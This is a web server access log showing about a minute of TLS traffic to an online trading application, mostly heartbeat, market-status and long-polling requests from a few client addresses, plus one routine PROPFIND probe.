[09/Jan/2026:14:40:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:40:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:40:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:40:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:40:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:40:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941122220 HTTP/1.1" -
[09/Jan/2026:14:40:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941138351 HTTP/1.1" -
[09/Jan/2026:14:40:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:40:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:40:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941124781 HTTP/1.1" -
[09/Jan/2026:14:40:55 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941131205 HTTP/1.1" -
[09/Jan/2026:14:40:58 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941127266 HTTP/1.1" -
[09/Jan/2026:14:40:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941143376 HTTP/1.1" -
[09/Jan/2026:14:41:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941129820 HTTP/1.1" -
[09/Jan/2026:14:41:00 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941136227 HTTP/1.1" -
[09/Jan/2026:14:41:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941148405 HTTP/1.1" -
[09/Jan/2026:14:41:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941132402 HTTP/1.1" -
[09/Jan/2026:14:41:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:41:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941134852 HTTP/1.1" -
[09/Jan/2026:14:41:05 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941141296 HTTP/1.1" -
[09/Jan/2026:14:41:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941153436 HTTP/1.1" -
[09/Jan/2026:14:41:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941137557 HTTP/1.1" -
[09/Jan/2026:14:41:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941139891 HTTP/1.1" -
[09/Jan/2026:14:41:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:41:10 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941146395 HTTP/1.1" -
[09/Jan/2026:14:41:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941158493 HTTP/1.1" -
[09/Jan/2026:14:41:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941142703 HTTP/1.1" -
[09/Jan/2026:14:41:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941144929 HTTP/1.1" -
[09/Jan/2026:14:41:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941151464 HTTP/1.1" -
[09/Jan/2026:14:41:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941163518 HTTP/1.1" -
[09/Jan/2026:14:41:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:41:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:41:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941148047 HTTP/1.1" -
[09/Jan/2026:14:41:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941149971 HTTP/1.1" -
[09/Jan/2026:14:41:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941156564 HTTP/1.1" -
[09/Jan/2026:14:41:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:41:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:22 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:41:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:23 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:41:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941168585 HTTP/1.1" -
[09/Jan/2026:14:41:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941153111 HTTP/1.1" -
[09/Jan/2026:14:41:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:41:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941155015 HTTP/1.1" -
[09/Jan/2026:14:41:26 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941161634 HTTP/1.1" -
[09/Jan/2026:14:41:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941173603 HTTP/1.1" -
[09/Jan/2026:14:41:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941158226 HTTP/1.1" -
[09/Jan/2026:14:41:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941160038 HTTP/1.1" -
[09/Jan/2026:14:41:31 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941166665 HTTP/1.1" -
[09/Jan/2026:14:41:33 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941178629 HTTP/1.1" -
[09/Jan/2026:14:41:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:41:34 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941163360 HTTP/1.1" -
[09/Jan/2026:14:41:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941165080 HTTP/1.1" -
[09/Jan/2026:14:41:36 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941171819 HTTP/1.1" -
[09/Jan/2026:14:41:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941183651 HTTP/1.1" -
[09/Jan/2026:14:41:39 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941168562 HTTP/1.1" -
[09/Jan/2026:14:41:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941170111 HTTP/1.1" -
[09/Jan/2026:14:41:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:40 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:41:41 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941176887 HTTP/1.1" -
[09/Jan/2026:14:41:42 +0800] 204.76.203.8 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 225
[09/Jan/2026:14:41:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941188721 HTTP/1.1" -
[09/Jan/2026:14:41:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941173710 HTTP/1.1" -
[09/Jan/2026:14:41:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941175160 HTTP/1.1" -
[09/Jan/2026:14:41:46 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941181918 HTTP/1.1" -
[09/Jan/2026:14:41:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941193794 HTTP/1.1" -
[09/Jan/2026:14:41:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:41:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:41:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941178878 HTTP/1.1" -
[09/Jan/2026:14:41:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941180195 HTTP/1.1" -
[09/Jan/2026:14:41:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941187042 HTTP/1.1" -
[09/Jan/2026:14:41:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:41:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:52 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:41:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:41:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941198858 HTTP/1.1" -
[09/Jan/2026:14:41:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:41:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:41:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941183947 HTTP/1.1" -
[09/Jan/2026:14:41:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941185228 HTTP/1.1" -
[09/Jan/2026:14:41:56 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941192104 HTTP/1.1" -
[09/Jan/2026:14:41:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941203884 HTTP/1.1" -
[09/Jan/2026:14:42:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941189148 HTTP/1.1" -
[09/Jan/2026:14:42:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767941190250 HTTP/1.1" -
